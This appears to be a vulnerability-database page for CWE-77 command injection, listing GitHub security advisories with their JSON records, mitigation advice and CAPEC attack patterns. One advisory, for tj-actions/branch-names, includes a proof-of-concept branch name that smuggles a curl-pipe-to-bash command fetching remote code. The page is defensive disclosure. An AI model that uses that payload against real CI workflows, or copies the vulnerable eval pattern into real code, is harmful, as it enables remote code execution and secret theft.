CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-GPQJ-8899-C755
Vulnerability from github – Published: 2026-04-09 21:31 – Updated: 2026-04-09 21:31A security vulnerability has been detected in Totolink A7100RU 7.4cu.2313_b20191024. Affected is the function setWiFiAclRules of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument mode leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-5978"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-09T21:16:13Z",
"severity": "HIGH"
},
"details": "A security vulnerability has been detected in Totolink A7100RU 7.4cu.2313_b20191024. Affected is the function setWiFiAclRules of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. The manipulation of the argument mode leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.",
"id": "GHSA-gpqj-8899-c755",
"modified": "2026-04-09T21:31:31Z",
"published": "2026-04-09T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5978"
},
{
"type": "WEB",
"url": "https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_164/README.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/791825"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/356532"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/356532/cti"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GPXP-F9R6-4G34
Vulnerability from github – Published: 2024-09-12 15:33 – Updated: 2024-09-12 15:33CVE-2024-45824 IMPACT
A remote code vulnerability exists in the affected products. The vulnerability occurs when chained with Path Traversal, Command Injection, and XSS Vulnerabilities and allows for full unauthenticated remote code execution. The link in the mitigations section below contains patches to fix this issue.
{
"affected": [],
"aliases": [
"CVE-2024-45824"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-12T14:16:06Z",
"severity": "CRITICAL"
},
"details": "CVE-2024-45824 IMPACT\n\n\n\nA remote\ncode vulnerability exists in the affected products. The vulnerability occurs\nwhen chained with Path Traversal, Command Injection, and XSS Vulnerabilities\nand allows for full unauthenticated remote code execution. The link in the\nmitigations section below contains patches to fix this issue.",
"id": "GHSA-gpxp-f9r6-4g34",
"modified": "2024-09-12T15:33:01Z",
"published": "2024-09-12T15:33:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45824"
},
{
"type": "WEB",
"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1696.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GQ52-6PHF-X2R6
Vulnerability from github – Published: 2025-07-25 19:28 – Updated: 2025-07-28 13:00Overview
A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.
Technical Details
The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"
This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.
Proof-of-Concept (PoC)
- Create a branch with the name
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash). - Trigger the vulnerable workflow by opening a pull request into the target repository.
- Observe arbitrary code execution in the workflow logs.
Example output:
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner
Impact
This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUB_TOKEN and the context of the triggering event. Potential consequences include:
- Theft of sensitive secrets stored in the repository.
- Unauthorized write access to the repository.
- Compromise of the repository's integrity and security.
Mitigation and Resolution
To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"
This approach ensures that all outputs remain properly escaped and safe for downstream consumption.
Recommendations
- Immediate Action: Developers using the
tj-actions/branch-namesworkflow should update their workflows to latest major version v9.
References
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.2.1"
},
"package": {
"ecosystem": "GitHub Actions",
"name": "tj-actions/branch-names"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54416"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-25T19:28:22Z",
"nvd_published_at": "2025-07-26T04:16:10Z",
"severity": "CRITICAL"
},
"details": "#### **Overview**\n\nA critical vulnerability has been identified in the `tj-actions/branch-names` GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.\n\n#### **Technical Details**\n\nThe vulnerability stems from the unsafe use of the `eval printf \"%s\"` pattern within the action\u0027s codebase. Although initial sanitization using `printf \"%q\"` properly escapes untrusted input, subsequent unescaping via `eval printf \"%s\"` reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:\n\n```bash\necho \"base_ref_branch=$(eval printf \"%s\" \"$BASE_REF\")\" \u003e\u003e \"$GITHUB_OUTPUT\"\necho \"head_ref_branch=$(eval printf \"%s\" \"$HEAD_REF\")\" \u003e\u003e \"$GITHUB_OUTPUT\"\necho \"ref_branch=$(eval printf \"%s\" \"$REF_BRANCH\")\" \u003e\u003e \"$GITHUB_OUTPUT\"\n```\n\nThis approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.\n\n#### **Proof-of-Concept (PoC)**\n\n1. Create a branch with the name `$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)`.\n2. Trigger the vulnerable workflow by opening a pull request into the target repository.\n3. Observe arbitrary code execution in the workflow logs.\n\nExample output:\n```bash\nRunning on a pull request branch.\nRun echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n echo \"Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)\"\n shell: /usr/bin/bash -e {0}\nRunning on pr: === PoC script executed successfully ===\nRunner user: runner\n```\n\n#### **Impact**\n\nThis vulnerability enables arbitrary command execution in repositories consuming outputs from `tj-actions/branch-names`. The severity of the impact depends on the permissions granted to the `GITHUB_TOKEN` and the context of the triggering event. Potential consequences include:\n\n- Theft of sensitive secrets stored in the repository.\n- Unauthorized write access to the repository.\n- Compromise of the repository\u0027s integrity and security.\n\n#### **Mitigation and Resolution**\n\nTo address this vulnerability, the unsafe `eval printf \"%s\"` pattern must be replaced with safer alternatives. Specifically, direct `printf` calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:\n\n```bash\nprintf \"base_ref_branch=%s\\n\" \"$BASE_REF\" \u003e\u003e \"$GITHUB_OUTPUT\"\nprintf \"head_ref_branch=%s\\n\" \"$HEAD_REF\" \u003e\u003e \"$GITHUB_OUTPUT\"\nprintf \"ref_branch=%s\\n\" \"$REF_BRANCH\" \u003e\u003e \"$GITHUB_OUTPUT\"\nprintf \"tag=%s\\n\" \"$TAG\" \u003e\u003e \"$GITHUB_OUTPUT\"\n```\n\nThis approach ensures that all outputs remain properly escaped and safe for downstream consumption.\n\n#### **Recommendations**\n\n1. **Immediate Action**: Developers using the `tj-actions/branch-names` workflow should update their workflows to latest major version [v9](https://github.com/tj-actions/branch-names/releases/tag/v9.0.0).\n\n#### **References**\n- [GitHub Actions Security Guide](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- [How to Secure GitHub Actions Workflows](https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql/)\n- [Related Vulnerability: GHSA-mcph-m25j-8j63](https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63)\n- [Template Injection Advisory: GHSA-8v8w-v8xg-79rf](https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf)",
"id": "GHSA-gq52-6phf-x2r6",
"modified": "2025-07-28T13:00:31Z",
"published": "2025-07-25T19:28:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"
},
{
"type": "WEB",
"url": "https://github.com/tj-actions/branch-names/security/advisories/GHSA-gq52-6phf-x2r6"
},
{
"type": "WEB",
"url": "https://github.com/tj-actions/changed-files/security/advisories/GHSA-mcph-m25j-8j63"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54416"
},
{
"type": "WEB",
"url": "https://github.com/tj-actions/branch-names/commit/e497ceb8ccd43fd9573cf2e375216625bc411d1f"
},
{
"type": "WEB",
"url": "https://github.blog/security/application-security/how-to-secure-your-github-actions-workflows-with-codeql"
},
{
"type": "PACKAGE",
"url": "https://github.com/tj-actions/branch-names"
},
{
"type": "WEB",
"url": "https://github.com/tj-actions/branch-names/releases/tag/v9.0.0"
},
{
"type": "WEB",
"url": "https://securitylab.github.com/resources/github-actions-untrusted-input"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "tj-actions/branch-names has a Command Injection Vulnerability"
}
GHSA-GQC3-HMP6-WX23
Vulnerability from github – Published: 2024-01-26 00:30 – Updated: 2024-01-26 00:30A command injection vulnerability exists in D-Link DAP-1650 devices when handling UPnP SUBSCRIBE messages. An unauthenticated attacker can exploit this vulnerability to gain command execution on the device as root.
{
"affected": [],
"aliases": [
"CVE-2024-23625"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-26T00:15:10Z",
"severity": "CRITICAL"
},
"details": "A command injection vulnerability exists in D-Link DAP-1650 devices when handling UPnP SUBSCRIBE messages. An unauthenticated attacker can exploit this vulnerability to gain command execution on the device as root.\n",
"id": "GHSA-gqc3-hmp6-wx23",
"modified": "2024-01-26T00:30:30Z",
"published": "2024-01-26T00:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23625"
},
{
"type": "WEB",
"url": "https://blog.exodusintel.com/2024/01/25/d-link-dap-1650-subscribe-callback-command-injection-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQC3-PJ63-8CMQ
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-05-27 00:01Vulnerability in Fidelis Network and Deception CommandPost enables authenticated command injection through the web interface using the “feed_comm_test” value for the “feed” parameter. The vulnerability could allow a specially crafted HTTP request to execute system commands on the CommandPost and return results in an HTTP response via an authenticated session. The vulnerability is present in Fidelis Network and Deception versions prior to 9.4.5. Patches and updates are available to address this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-24392"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-17T20:15:00Z",
"severity": "HIGH"
},
"details": "Vulnerability in Fidelis Network and Deception CommandPost enables authenticated command injection through the web interface using the \u201cfeed_comm_test\u201d value for the \u201cfeed\u201d parameter. The vulnerability could allow a specially crafted HTTP request to execute system commands on the CommandPost and return results in an HTTP response via an authenticated session. The vulnerability is present in Fidelis Network and Deception versions prior to 9.4.5. Patches and updates are available to address this vulnerability.",
"id": "GHSA-gqc3-pj63-8cmq",
"modified": "2022-05-27T00:01:30Z",
"published": "2022-05-18T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24392"
},
{
"type": "WEB",
"url": "https://fidelissecurity.zendesk.com/hc/en-us/articles/6211730139411"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQQ8-FJJH-WFCG
Vulnerability from github – Published: 2023-05-12 00:30 – Updated: 2024-04-04 04:03Motorola CX2L Router 1.0.1 was discovered to contain a command injection vulnerability via the system_time_timezone parameter.
{
"affected": [],
"aliases": [
"CVE-2023-31529"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-11T22:15:11Z",
"severity": "HIGH"
},
"details": "Motorola CX2L Router 1.0.1 was discovered to contain a command injection vulnerability via the system_time_timezone parameter.",
"id": "GHSA-gqq8-fjjh-wfcg",
"modified": "2024-04-04T04:03:29Z",
"published": "2023-05-12T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31529"
},
{
"type": "WEB",
"url": "https://github.com/leetsun/IoT/tree/main/Motorola-CX2L/CI1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQVF-3HGP-5HXV
Vulnerability from github – Published: 2023-12-14 15:30 – Updated: 2024-02-28 19:07Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository gradio-app/gradio prior to main.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gradio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-6572"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-28T19:07:03Z",
"nvd_published_at": "2023-12-14T14:15:46Z",
"severity": "CRITICAL"
},
"details": "Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository gradio-app/gradio prior to main.",
"id": "GHSA-gqvf-3hgp-5hxv",
"modified": "2024-02-28T19:07:03Z",
"published": "2023-12-14T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6572"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/commit/5b5af1899dd98d63e1f9b48a93601c2db1f56520"
},
{
"type": "PACKAGE",
"url": "https://github.com/gradio-app/gradio"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2023-255.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/21d2ff0c-d43a-4afd-bb4d-049ee8da5b5c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gradio Exposure of Sensitive Information to an Unauthorized Actor vulnerability"
}
GHSA-GR43-PWPC-MP54
Vulnerability from github – Published: 2023-04-13 09:30 – Updated: 2025-10-22 00:32A vulnerability in the web-based management interface of Cisco Small Business Routers RV016, RV042, RV042G, RV082, RV320, and RV325 Routers could allow an authenticated, remote attacker to execute arbitrary commands on an affected device.
This vulnerability is due to improper validation of user input within incoming HTTP packets. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web-based management interface. A successful exploit could allow the attacker to gain root-level privileges and access unauthorized data. To exploit this vulnerability, an attacker would need to have valid administrative credentials on the affected device.
Cisco has not and will not release software updates that address this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-20118"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-13T07:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the web-based management interface of Cisco Small Business Routers RV016, RV042, RV042G, RV082, RV320, and RV325 Routers could allow an authenticated, remote attacker to execute arbitrary commands on an affected device.\n\n This vulnerability is due to improper validation of user input within incoming HTTP packets. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web-based management interface. A successful exploit could allow the attacker to gain root-level privileges and access unauthorized data. To exploit this vulnerability, an attacker would need to have valid administrative credentials on the affected device.\n\n Cisco has not and will not release software updates that address this vulnerability.",
"id": "GHSA-gr43-pwpc-mp54",
"modified": "2025-10-22T00:32:43Z",
"published": "2023-04-13T09:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20118"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sbr042-multi-vuln-ej76Pke5"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-20118"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GR4H-93QX-7636
Vulnerability from github – Published: 2026-02-17 21:31 – Updated: 2026-02-17 21:31Dell SmartFabric OS10 Software, versions prior to 10.5.6.12, contains an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.
{
"affected": [],
"aliases": [
"CVE-2026-22284"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-17T20:22:09Z",
"severity": "MODERATE"
},
"details": "Dell SmartFabric OS10 Software, versions prior to 10.5.6.12, contains an Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.",
"id": "GHSA-gr4h-93qx-7636",
"modified": "2026-02-17T21:31:14Z",
"published": "2026-02-17T21:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22284"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000429181/dsa-2026-033-security-update-for-dell-networking-os10-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GRFR-PQC4-FQMW
Vulnerability from github – Published: 2022-05-13 01:12 – Updated: 2022-05-13 01:12Python Software Foundation Python (CPython) version 2.7 contains a CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in shutil module (make_archive function) that can result in Denial of service, Information gain via injection of arbitrary files on the system or entire drive. This attack appear to be exploitable via Passage of unfiltered user input to the function. This vulnerability appears to have been fixed in after commit add531a1e55b0a739b0f42582f1c9747e5649ace.
{
"affected": [],
"aliases": [
"CVE-2018-1000802"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-18T17:29:00Z",
"severity": "CRITICAL"
},
"details": "Python Software Foundation Python (CPython) version 2.7 contains a CWE-77: Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability in shutil module (make_archive function) that can result in Denial of service, Information gain via injection of arbitrary files on the system or entire drive. This attack appear to be exploitable via Passage of unfiltered user input to the function. This vulnerability appears to have been fixed in after commit add531a1e55b0a739b0f42582f1c9747e5649ace.",
"id": "GHSA-grfr-pqc4-fqmw",
"modified": "2022-05-13T01:12:21Z",
"published": "2022-05-13T01:12:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000802"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/pull/8985"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/pull/8985/commits/add531a1e55b0a739b0f42582f1c9747e5649ace"
},
{
"type": "WEB",
"url": "https://bugs.python.org/issue34540"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00030.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00031.html"
},
{
"type": "WEB",
"url": "https://mega.nz/#!JUFiCC4R!mq-jQ8ySFwIhX6WMDujaZuNBfttDVt7DETlfOIQE1ig"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230309-0002"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3817-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3817-2"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4306"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00040.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.